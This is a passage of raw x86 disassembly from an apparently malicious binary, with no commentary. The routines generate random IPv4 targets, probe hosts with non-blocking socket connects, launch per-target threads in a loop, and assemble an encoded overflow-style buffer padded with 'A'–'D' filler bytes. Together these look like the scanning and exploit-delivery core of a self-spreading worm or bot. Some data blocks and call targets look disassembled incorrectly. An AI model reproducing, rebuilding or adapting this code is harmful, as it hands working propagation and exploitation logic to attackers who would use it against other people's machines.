[ebp+arg_0] push esi push 4 lea esi, ds:4CB0C0h[eax*8] lea eax, [ebp+arg_0] push esi push eax call sub_41C310 add esp, 0Ch push [ebp+arg_0] call dword_4CAE9C inc eax push eax mov [ebp+arg_0], eax call dword_4CAF70 mov [ebp+arg_0], eax lea eax, [ebp+arg_0] push 4 push eax push esi call sub_41C310 mov eax, [esi] add esp, 0Ch pop esi pop ebp retn sub_40BFA3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BFEB proc near ; CODE XREF: sub_40C124+69p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi or esi, 0FFFFFFFFh push [ebp+arg_0] mov [ebp+var_C], esi mov [ebp+var_8], esi mov [ebp+var_4], esi mov [ebp+var_10], esi call sub_41AFE0 cmp eax, 0Fh pop ecx jbe short loc_40C013 xor eax, eax jmp short loc_40C084 ; --------------------------------------------------------------------------- loc_40C013: ; CODE XREF: sub_40BFEB+22j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_C] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push [ebp+arg_0] call sub_41C645 add esp, 18h cmp [ebp+var_C], esi jnz short loc_40C040 call sub_41B8E2 mov [ebp+var_C], eax loc_40C040: ; CODE XREF: sub_40BFEB+4Bj cmp [ebp+var_8], esi jnz short loc_40C04D call sub_41B8E2 mov [ebp+var_8], eax loc_40C04D: ; CODE XREF: sub_40BFEB+58j cmp [ebp+var_4], esi jnz short loc_40C05A call sub_41B8E2 mov [ebp+var_4], eax loc_40C05A: ; CODE XREF: sub_40BFEB+65j mov eax, [ebp+var_10] cmp eax, esi jnz short loc_40C066 call sub_41B8E2 loc_40C066: ; CODE XREF: sub_40BFEB+74j shl eax, 8 add eax, [ebp+var_4] mov ecx, [ebp+var_C] shl eax, 8 add eax, [ebp+var_8] shl eax, 8 add eax, ecx mov ecx, [ebp+arg_4] mov dword_4CB0C0[ecx*8], eax loc_40C084: ; CODE XREF: sub_40BFEB+26j pop esi leave retn sub_40BFEB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C087 proc near ; CODE XREF: ___:0040B8FAp ; sub_40C124+BBp var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 120h push ebx push esi push edi push 1 pop edi xor ebx, ebx push ebx push edi push 2 mov [ebp+var_4], edi call dword_4CAFF4 mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_40C0B0 xor eax, eax jmp short loc_40C11F ; --------------------------------------------------------------------------- loc_40C0B0: ; CODE XREF: sub_40C087+23j mov eax, [ebp+arg_0] push [ebp+arg_4] mov [ebp+var_1C], 2 mov [ebp+var_18], eax call dword_4CAF74 mov [ebp+var_1A], ax lea eax, [ebp+var_4] push eax push 8004667Eh push esi call dword_4CB010 lea eax, [ebp+var_1C] push 10h push eax push esi call dword_4CAF1C mov eax, [ebp+arg_8] mov [ebp+var_8], ebx mov [ebp+var_C], eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_120] push ebx push eax push ebx push ebx mov [ebp+var_11C], esi mov [ebp+var_120], edi call dword_4CAF5C push esi mov edi, eax call dword_4CB00C xor eax, eax cmp edi, ebx setnle al loc_40C11F: ; CODE XREF: sub_40C087+27j pop edi pop esi pop ebx leave retn sub_40C087 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C124 proc near ; DATA XREF: sub_40C124+353o var_29C = dword ptr -29Ch var_28C = byte ptr -28Ch var_20C = dword ptr -20Ch var_208 = byte ptr -208h var_1F8 = byte ptr -1F8h var_1CC = byte ptr -1CCh var_178 = byte ptr -178h var_16C = dword ptr -16Ch var_168 = dword ptr -168h var_164 = dword ptr -164h var_15C = dword ptr -15Ch var_158 = dword ptr -158h var_150 = byte ptr -150h var_14C = byte ptr -14Ch var_140 = byte ptr -140h var_13C = byte ptr -13Ch var_C0 = byte ptr -0C0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+var_150] rep movsd mov esi, [ebp+var_2C] mov dword ptr [eax+148h], 1 mov eax, [ebp+var_28] mov [ebp+var_4], esi mov [ebp+arg_0], eax nop call near ptr 26A0B9Fh push eax call sub_41B8D8 mov ebx, esi pop ecx imul ebx, 234h loc_40C16B: ; CODE XREF: sub_40C124+204j mov eax, dword_43DEB4[ebx] cmp dword_4CB0C4[eax*8], 0 jz loc_40C32D cmp [ebp+var_10], 0 push eax jz short loc_40C195 lea eax, [ebp+var_150] push eax call sub_40BFEB pop ecx jmp short loc_40C19A ; --------------------------------------------------------------------------- loc_40C195: ; CODE XREF: sub_40C124+60j call sub_40BFA3 loc_40C19A: ; CODE XREF: sub_40C124+6Fj pop ecx mov edi, eax push [ebp+arg_0] push dword_43DEB4[ebx] push [ebp+var_3C] push edi call dword_4CB000 push eax lea eax, [ebp+var_28C] push offset unk_431A74 push eax call sub_41B886 add esp, 18h lea eax, [ebp+var_28C] push eax lea eax, dword_43DCB0[ebx] push eax call sub_41B886 push [ebp+var_38] push [ebp+var_3C] push edi call sub_40C087 add esp, 14h cmp eax, 1 jnz loc_40C31D cmp [ebp+var_20], 0FFFFFFFFh jnz short loc_40C271 push offset dword_4CD0C0 nop call near ptr 77F7E21Fh push [ebp+var_3C] push edi call dword_4CB000 push eax lea eax, [ebp+var_28C] push offset unk_431A4C push eax call sub_41B886 add esp, 10h cmp [ebp+var_14], 0 jnz short loc_40C253 cmp [ebp+var_C0], 0 push 1 push [ebp+var_18] lea eax, [ebp+var_28C] push eax lea eax, [ebp+var_C0] jnz short loc_40C247 lea eax, [ebp+var_140] loc_40C247: ; CODE XREF: sub_40C124+11Bj push eax push [ebp+var_40] call sub_409A72 add esp, 14h loc_40C253: ; CODE XREF: sub_40C124+100j lea eax, [ebp+var_28C] push eax call sub_4151AC mov [esp+29Ch+var_29C], offset dword_4CD0C0 nop call near ptr 77F7E300h jmp loc_40C31D ; --------------------------------------------------------------------------- loc_40C271: ; CODE XREF: sub_40C124+D0j push edi call dword_4CB000 push eax lea eax, [ebp+var_208] push eax call sub_41B886 mov eax, [ebp+var_20] pop ecx shl eax, 6 pop ecx add eax, offset aSym ; "sym" push eax lea eax, [ebp+var_178] push eax call sub_41B886 cmp [ebp+var_C0], 0 pop ecx pop ecx lea eax, [ebp+var_C0] jnz short loc_40C2B6 lea eax, [ebp+var_140] loc_40C2B6: ; CODE XREF: sub_40C124+18Aj push eax lea eax, [ebp+var_1F8] push eax call sub_41B886 mov eax, [ebp+var_40] pop ecx mov [ebp+var_20C], eax mov eax, [ebp+var_18] pop ecx mov [ebp+var_15C], eax mov eax, [ebp+var_14] sub esp, 0BCh mov [ebp+var_158], eax mov eax, [ebp+var_3C] push 2Fh mov [ebp+var_16C], eax mov eax, [ebp+var_20] pop ecx mov [ebp+var_168], esi mov [ebp+var_164], eax lea esi, [ebp+var_20C] mov edi, esp shl eax, 6 rep movsd call off_43140C[eax] mov esi, [ebp+var_4] add esp, 0BCh loc_40C31D: ; CODE XREF: sub_40C124+C6j ; sub_40C124+148j push 7D0h nop call near ptr 26903FCh jmp loc_40C16B ; --------------------------------------------------------------------------- loc_40C32D: ; CODE XREF: sub_40C124+55j push esi call sub_40B412 pop ecx push 0 call near ptr 26F0000h nop loc_40C33C: ; DATA XREF: sub_401ACD+1F81o ; sub_401ACD+5C48o push ebp mov ebp, esp sub esp, 1CCh mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+var_14C] push 1 pop ebx rep movsd mov [eax+144h], ebx lea eax, [ebp+var_14C] push eax call dword_4CAFB4 mov ecx, [ebp+var_2C] sub esp, 14Ch lea esi, [ebp+var_14C] push 53h mov dword_4CB0C0[ecx*8], eax pop ecx mov edi, esp rep movsd call sub_40BACD push 0Bh call sub_40B33E add esp, 150h cmp eax, ebx jnz short loc_40C40A mov esi, offset dword_4CD0C0 push esi nop call near ptr 26F0760h push 80000400h push esi call near ptr 26F0630h nop test eax, eax jnz short loc_40C40A lea eax, [ebp+var_1CC] push offset unk_431B58 push eax call sub_41B886 xor ebx, ebx pop ecx cmp [ebp+var_10], ebx pop ecx jnz short loc_40C3F4 push ebx lea eax, [ebp+var_1CC] push [ebp+var_14] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_3C] call sub_409A72 add esp, 14h loc_40C3F4: ; CODE XREF: sub_40C124+2B1j lea eax, [ebp+var_1CC] push eax call sub_4151AC pop ecx pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_40C40A: ; CODE XREF: sub_40C124+27Bj ; sub_40C124+297j mov eax, [ebp+var_2C] mov esi, dword_427078 mov edi, ebx mov dword_4CB0C4[eax*8], ebx xor ebx, ebx cmp [ebp+var_20], 1 jb loc_40C4D7 loc_40C428: ; CODE XREF: sub_40C124+3ADj push edi lea eax, [ebp+var_14C] push [ebp+var_2C] mov [ebp+var_24], edi push [ebp+var_38] push eax lea eax, [ebp+var_1CC] push offset unk_431B24 push eax call sub_41B886 push ebx lea eax, [ebp+var_1CC] push 0Bh push eax call sub_40B0F6 mov [ebp+var_28], eax imul eax, 234h mov ecx, [ebp+var_2C] add esp, 24h mov dword_43DEB4[eax], ecx lea eax, [ebp+var_14C] push ebx push ebx push eax push offset sub_40C124 push ebx push ebx nop call near ptr 2690448h mov ecx, [ebp+var_28] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40C4A2 loc_40C497: ; CODE XREF: sub_40C124+37Cj cmp [ebp+var_4], ebx jnz short loc_40C4C9 push 1Eh call esi jmp short loc_40C497 ; --------------------------------------------------------------------------- loc_40C4A2: ; CODE XREF: sub_40C124+371j nop call near ptr 2690DCCh push eax lea eax, [ebp+var_1CC] push offset unk_431AEC push eax call sub_41B886 lea eax, [ebp+var_1CC] push eax call sub_4151AC add esp, 10h loc_40C4C9: ; CODE XREF: sub_40C124+376j push 1Eh call esi inc edi cmp edi, [ebp+var_20] jbe loc_40C428 loc_40C4D7: ; CODE XREF: sub_40C124+2FEj cmp [ebp+var_30], ebx jz loc_40C581 mov eax, [ebp+var_30] imul eax, 0EA60h push eax call esi loc_40C4EC: ; CODE XREF: sub_40C124+468j push [ebp+var_30] mov eax, [ebp+var_2C] push [ebp+var_38] mov eax, dword_4CB0C0[eax*8] push eax call dword_4CB000 push eax lea eax, [ebp+var_1CC] push offset unk_431AAC push eax call sub_41B886 add esp, 14h cmp [ebp+var_10], ebx jnz short loc_40C53A push ebx lea eax, [ebp+var_1CC] push [ebp+var_14] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_3C] call sub_409A72 add esp, 14h loc_40C53A: ; CODE XREF: sub_40C124+3F7j lea eax, [ebp+var_1CC] push eax call sub_4151AC mov eax, [ebp+var_2C] mov [esp+29Ch+var_29C], 0BB8h mov dword_4CB0C4[eax*8], ebx call esi push 0Bh call sub_40B33E cmp eax, 1 pop ecx jnz short loc_40C571 push offset dword_4CD0C0 nop call near ptr 26F0760h loc_40C571: ; CODE XREF: sub_40C124+440j push [ebp+var_2C] call sub_40B412 pop ecx push ebx nop call near ptr 26F0000h loc_40C581: ; CODE XREF: sub_40C124+3B6j ; sub_40C124+475j mov eax, [ebp+var_2C] cmp dword_4CB0C4[eax*8], 1 jnz loc_40C4EC push 7D0h call esi jmp short loc_40C581 sub_40C124 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C59B proc near var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h var_38 = dword ptr -38h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0BCh mov eax, [ebp+arg_0] push esi push edi push 2Bh pop ecx mov esi, eax lea edi, [ebp+var_BC] push 1 rep movsd pop esi mov [eax+0A8h], esi push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41B590 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_38] call dword_4CAF74 mov [ebp+var_E], ax mov eax, [ebp+var_28] push 6 push esi push 2 mov [ebp+var_C], eax call dword_4CAFF4 mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40C659 lea eax, [ebp+var_10] push 10h push eax push esi call dword_4CAF1C mov ecx, [ebp+var_2C] imul ecx, 234h cmp eax, 0FFFFFFFFh mov dword_43DEBC[ecx], esi jz short loc_40C659 push [ebp+var_38] push [ebp+var_28] call dword_4CB000 push eax mov edi, offset dword_4CDA84 push offset dword_431B8C push edi call sub_41B886 push 0 lea eax, [ebp+var_B8] push [ebp+var_20] push edi push eax push [ebp+var_BC] call sub_409A72 push edi call sub_4151AC add esp, 28h loc_40C659: ; CODE XREF: sub_40C59B+5Dj ; sub_40C59B+7Ej push esi call dword_4CB00C pop edi xor eax, eax pop esi leave retn 4 sub_40C59B endp ; --------------------------------------------------------------------------- dword_40C668 dd 81EC8B55h, 134ECh, 5D8B5300h, 6A575608h, 59F38B2Bh ; DATA XREF: sub_401ACD+603Eo dd 0FF4CBD8Dh, 0A5F3FFFFh, 7078358Bh, 83C70042h, 0A4h dd 1, 75FFFF33h, 0E075FFD0h, 0B00015FFh, 8D50004Ch, 0FFFECC85h dd 1BB468FFh, 0E8500043h, 0F1D2h, 0FECC858Dh, 0FF68FFFFh dd 50000001h, 69DC458Bh, 234C0h, 0DCB00500h, 0E8500043h dd 0EF1Ch, 8D1CC483h, 8D50F845h, 0FFFF4C85h, 685057FFh dd 40C59Bh, 59E85757h, 9002283Dh, 4589C73Bh, 390B74FCh dd 675F47Dh, 0D6FF326Ah, 75FFF5EBh, 4DE890FCh, 0FF022641h dd 8CB3h, 0A8BB8900h, 0FF000000h, 0E0458DD6h, 8D50046Ah dd 0E8500845h, 0FBE8h, 0FF0CC483h, 15FF0875h, 4CAE9Ch dd 45895040h, 7015FF08h, 89004CAFh, 458D0845h, 50046A08h dd 50E0458Dh, 0FBBFE8h, 0CC48300h, 0FFFF3DE9h db 0FFh byte_40C759 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+5D4Eo dd 130EC81h, 8B530000h, 5756085Dh, 0F38B2B6Ah, 50BD8D59h dd 0F3FFFFFFh, 78358BA5h, 0C7004270h, 0A483h, 100h, 0FFFF3300h dd 75FFD475h, 15FFE4h, 50004CB0h, 0FED0858Dh, 868FFFFh dd 5000431Ch, 0F0E1E8h, 0D0858D00h, 68FFFFFEh, 1FFh, 0E0458B50h dd 234C069h, 0B0050000h, 500043DCh, 0EE2BE8h, 1CC48300h dd 50FC458Dh, 0FF50858Dh, 5057FFFFh, 40C59B68h, 90575700h dd 283C67E8h, 89C73B02h, 0B740845h, 75F87D39h, 0FF326A06h dd 0FFF5EBD6h, 5DE80875h, 90022640h, 8CB3FFh, 0BB890000h dd 0A8h, 458BD6FFh, 0D8453BD4h, 45FF0874h, 0FF6DE9D4h dd 75FFFFFFh, 15FFE4h, 50004CB0h, 0FED0858Dh, 0DC68FFFFh dd 5000431Bh, 0F051E8h, 858D5700h, 0FFFFFED0h, 50EC75FFh dd 0FF54858Dh, 0FF50FFFFh, 0FFFF50B5h, 0D220E8FFh, 75FFFFFFh dd 0EBB8E8E0h, 0C483FFFFh, 5FC03324h, 0C2C95B5Eh db 4, 0 ; =============== S U B R O U T I N E ======================================= sub_40C866 proc near ; CODE XREF: sub_40CADA+Ep ; sub_40CADA+33p ... mov eax, ecx and dword ptr [eax+4], 0 and dword ptr [eax], 0 retn sub_40C866 endp ; =============== S U B R O U T I N E ======================================= sub_40C870 proc near ; CODE XREF: sub_40CADA+11Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] push esi push edi mov esi, ecx push ebx call sub_41B4D5 mov edi, eax pop ecx test edi, edi jz short loc_40C8A2 push ebx push 0 push edi call sub_41B590 push ebx push [esp+1Ch+arg_0] push edi call sub_41C310 add esp, 18h mov [esi+4], ebx mov [esi], edi loc_40C8A2: ; CODE XREF: sub_40C870+14j mov eax, esi pop edi pop esi pop ebx retn 8 sub_40C870 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C8AA proc near ; CODE XREF: sub_40C9A4+18p ; sub_40CA1E+16p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, ecx push esi mov ecx, [ebp+arg_C] push edi lea edi, [eax+ecx] push edi call sub_41B4D5 mov esi, eax pop ecx test esi, esi jz short loc_40C8F6 push edi push 0 push esi call sub_41B590 push [ebp+arg_4] push [ebp+arg_0] push esi call sub_41C310 push [ebp+arg_C] mov eax, [ebp+arg_4] add eax, esi push [ebp+arg_8] push eax call sub_41C310 add esp, 24h mov [ebx+4], edi mov [ebx], esi loc_40C8F6: ; CODE XREF: sub_40C8AA+1Cj pop edi mov eax, ebx pop esi pop ebx pop ebp retn 10h sub_40C8AA endp ; =============== S U B R O U T I N E ======================================= sub_40C8FF proc near ; CODE XREF: sub_40C9A4+5Ep ; sub_40C9A4+6Fp ... push esi mov esi, ecx mov eax, [esi] test eax, eax jz short loc_40C90F push eax call sub_41B0B1 pop ecx loc_40C90F: ; CODE XREF: sub_40C8FF+7j and dword ptr [esi+4], 0 and dword ptr [esi], 0 pop esi retn sub_40C8FF endp ; =============== S U B R O U T I N E ======================================= sub_40C918 proc near ; CODE XREF: sub_40C9A4+20p ; sub_40CA7F+8p ... push ebx push esi mov esi, ecx push edi mov eax, [esi+4] cmp eax, 0FFFFh jge short loc_40C945 xor ebx, ebx cmp eax, 7Fh setnl bl dec ebx and ebx, 0FFFFFFFEh add ebx, 3 add eax, ebx push eax call sub_41B4D5 mov edi, eax pop ecx test edi, edi jnz short loc_40C949 loc_40C945: ; CODE XREF: sub_40C918+Dj xor al, al jmp short loc_40C9A0 ; --------------------------------------------------------------------------- loc_40C949: ; CODE XREF: sub_40C918+2Bj mov eax, ebx add eax, [esi+4] push eax push 0 push edi call sub_41B590 add esp, 0Ch cmp ebx, 1 jnz short loc_40C96E mov al, [esi+4] mov [edi], al push dword ptr [esi+4] lea eax, [edi+1] push dword ptr [esi] jmp short loc_40C988 ; --------------------------------------------------------------------------- loc_40C96E: ; CODE XREF: sub_40C918+45j mov byte ptr [edi], 82h mov eax, [esi+4] sar eax, 8 mov [edi+1], al mov al, [esi+4] mov [edi+2], al push dword ptr [esi+4] lea eax, [edi+3] push dword ptr [esi] loc_40C988: ; CODE XREF: sub_40C918+54j push eax call sub_41C310 add esp, 0Ch push dword ptr [esi] call sub_41B0B1 add [esi+4], ebx pop ecx mov [esi], edi mov al, 1 loc_40C9A0: ; CODE XREF: sub_40C918+2Fj pop edi pop esi pop ebx retn sub_40C918 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C9A4 proc near ; CODE XREF: sub_40CADA+89p ; sub_40CADA+E3p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push edi lea ecx, [ebp+var_8] push dword ptr [esi+4] push dword ptr [esi] push 1 push offset dword_4CAE2C call sub_40C8AA lea ecx, [ebp+var_8] call sub_40C918 mov eax, [ebp+var_4] inc eax push eax call sub_41B4D5 mov edi, eax pop ecx test edi, edi jnz short loc_40C9DE xor al, al jmp short loc_40CA1A ; --------------------------------------------------------------------------- loc_40C9DE: ; CODE XREF: sub_40C9A4+34j mov eax, [ebp+var_4] inc eax push eax push 0 push edi call sub_41B590 mov byte ptr [edi], 3 push [ebp+var_4] lea eax, [edi+1] push [ebp+var_8] push eax call sub_41C310 add esp, 18h mov ecx, esi call sub_40C8FF mov eax, [ebp+var_4] lea ecx, [ebp+var_8] inc eax mov [esi], edi mov [esi+4], eax call sub_40C8FF mov al, 1 loc_40CA1A: ; CODE XREF: sub_40C9A4+38j pop edi pop esi leave retn sub_40C9A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CA1E proc near ; CODE XREF: sub_40CA52+14p ; sub_40CA6F+8p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push [ebp+arg_4] lea ecx, [ebp+var_8] push [ebp+arg_0] push dword ptr [esi+4] push dword ptr [esi] call sub_40C8AA mov ecx, esi call sub_40C8FF mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 pop esi leave retn 8 sub_40CA1E endp ; =============== S U B R O U T I N E ======================================= sub_40CA52 proc near ; CODE XREF: sub_40CADA+F0p ; sub_40CADA+15Bp ... arg_0 = dword ptr 4 push esi mov esi, ecx push [esp+4+arg_0] call sub_41AFE0 pop ecx push eax mov ecx, esi push [esp+8+arg_0] call sub_40CA1E pop esi retn 4 sub_40CA52 endp ; =============== S U B R O U T I N E ======================================= sub_40CA6F proc near ; CODE XREF: sub_40CABB+Bp ; sub_40CADA+1A1p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_40CA1E retn 8 sub_40CA6F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CA7F proc near ; CODE XREF: sub_40CABB+16p ; sub_40CADA+91p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx call sub_40C918 test al, al jz short loc_40CAB8 push dword ptr [esi+4] lea ecx, [ebp+var_8] push dword ptr [esi] push 1 push offset dword_42C8E8 call sub_40C8AA mov ecx, esi call sub_40C8FF mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 loc_40CAB8: ; CODE XREF: sub_40CA7F+Fj pop esi leave retn sub_40CA7F endp ; =============== S U B R O U T I N E ======================================= sub_40CABB proc near ; CODE XREF: sub_40CADA+134p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, ecx push [esp+4+arg_4] push [esp+8+arg_0] call sub_40CA6F test al, al jz short loc_40CAD6 mov ecx, esi call sub_40CA7F loc_40CAD6: ; CODE XREF: sub_40CABB+12j pop esi retn 8 sub_40CABB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CADA proc near ; CODE XREF: ___:0040D361p var_858 = byte ptr -858h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 858h push ebx push edi lea ecx, [ebp+var_48] call sub_40C866 mov edi, 408h cmp [ebp+arg_8], edi jg loc_40CE2E mov ebx, [ebp+arg_10] lea eax, [ebx+8] cmp eax, edi ja loc_40CE2E push esi lea ecx, [ebp+var_30] call sub_40C866 lea ecx, [ebp+var_20] call sub_40C866 lea ecx, [ebp+var_50] call sub_40C866 lea ecx, [ebp+var_18] call sub_40C866 lea ecx, [ebp+var_40] call sub_40C866 lea ecx, [ebp+var_38] call sub_40C866 lea ecx, [ebp+var_28] call sub_40C866 push 4 push offset dword_431C40 lea ecx, [ebp+var_30] call sub_40CA1E push 3 push offset dword_431C48 lea ecx, [ebp+var_30] call sub_40CA1E lea ecx, [ebp+var_30] call sub_40C9A4 lea ecx, [ebp+var_30] call sub_40CA7F mov esi, 800h lea eax, [ebp+var_858] push esi push 42h push eax call sub_41B590 add esp, 0Ch lea ecx, [ebp+var_20] push 8 push offset aRbrbrbrb ; "░B░B░B░B" call sub_40CA1E push ebx lea ecx, [ebp+var_20] push [ebp+arg_C] call sub_40CA1E mov eax, 409h lea ecx, [ebp+var_20] sub eax, [ebp+var_1C] push eax lea eax, [ebp+var_858] push eax call sub_40CA1E lea ecx, [ebp+var_20] call sub_40C9A4 push offset loc_431FC4 lea ecx, [ebp+var_50] call sub_40CA52 lea ecx, [ebp+var_50] call sub_40C9A4 push esi lea eax, [ebp+var_858] push 44h push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_58] push 410h push eax call sub_40C870 lea ecx, [ebp+var_58] call sub_40C9A4 push [ebp+var_54] lea ecx, [ebp+var_50] push [ebp+var_58] call sub_40CABB lea ecx, [ebp+var_58] call sub_40C8FF push esi lea eax, [ebp+var_858] push 43h push eax call sub_41B590 add esp, 0Ch push offset aCccc ; "CCCC" lea ecx, [ebp+var_18] call sub_40CA52 push 4 push offset dword_431C4C lea ecx, [ebp+var_18] call sub_40CA1E push [ebp+arg_8] lea ecx, [ebp+var_18] push [ebp+arg_4] call sub_40CA1E sub edi, [ebp+arg_8] lea eax, [ebp+var_858] lea ecx, [ebp+var_18] push edi push eax call sub_40CA1E lea ecx, [ebp+var_18] call sub_40C9A4 push [ebp+var_14] lea ecx, [ebp+var_40] push [ebp+var_18] call sub_40CA6F push [ebp+var_4C] lea ecx, [ebp+var_40] push [ebp+var_50] call sub_40CA6F lea ecx, [ebp+var_40] call sub_40CA7F lea ecx, [ebp+var_18] call sub_40C8FF lea ecx, [ebp+var_50] call sub_40C8FF push [ebp+var_1C] lea ecx, [ebp+var_38] push [ebp+var_20] call sub_40CA6F push [ebp+var_2C] lea ecx, [ebp+var_38] push [ebp+var_30] call sub_40CA6F push [ebp+var_3C] lea ecx, [ebp+var_38] push [ebp+var_40] call sub_40CA6F lea ecx, [ebp+var_38] call sub_40CA7F lea ecx, [ebp+var_20] call sub_40C8FF lea ecx, [ebp+var_30] call sub_40C8FF lea ecx, [ebp+var_40] call sub_40C8FF push esi lea eax, [ebp+var_858] push 41h push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_28] push 400h push eax call sub_40CA1E lea ecx, [ebp+var_28] call sub_40C9A4 push 2 push offset dword_431FB8 lea ecx, [ebp+var_28] call sub_40CA1E push [ebp+var_34] lea ecx, [ebp+var_28] push [ebp+var_38] call sub_40CA6F lea ecx, [ebp+var_28] call sub_40CA7F lea ecx, [ebp+var_38] call sub_40C8FF lea ecx, [ebp+var_10] call sub_40C866 lea ecx, [ebp+var_8] call sub_40C866 push [ebp+var_24] lea ecx, [ebp+var_10] push [ebp+var_28] call sub_40CA6F lea ecx, [ebp+var_10] call sub_40C918 lea ecx, [ebp+var_28] call sub_40C8FF push offset dword_431FB4 lea ecx, [ebp+var_8] call sub_40CA52 push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_40CA6F lea ecx, [ebp+var_8] call sub_40C918 lea ecx, [ebp+var_10] call sub_40C8FF push offset dword_431FB0 lea ecx, [ebp+var_10] call sub_40CA52 push [ebp+var_4] lea ecx, [ebp+var_10] push [ebp+var_8] call sub_40CA6F lea ecx, [ebp+var_10] call sub_40C918 lea ecx, [ebp+var_8] call sub_40C8FF push offset dword_431FA4 lea ecx, [ebp+var_8] call sub_40CA52 push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_40CA6F lea ecx, [ebp+var_8] call sub_40C918 lea ecx, [ebp+var_10] call sub_40C8FF push (offset loc_431F9F+1) lea ecx, [ebp+var_48] call sub_40CA52 push [ebp+var_4] lea ecx, [ebp+var_48] push [ebp+var_8] call sub_40CA6F lea ecx, [ebp+var_8] call sub_40C8FF mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] pop esi mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx jmp short loc_40CE3C ; --------------------------------------------------------------------------- loc_40CE2E: ; CODE XREF: sub_40CADA+1Bj ; sub_40CADA+29j mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx loc_40CE3C: ; CODE XREF: sub_40CADA+352j pop edi pop ebx leave retn sub_40CADA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CE40 proc near ; CODE XREF: sub_40CF04+A1p ; sub_40CF04+C2p ... var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h 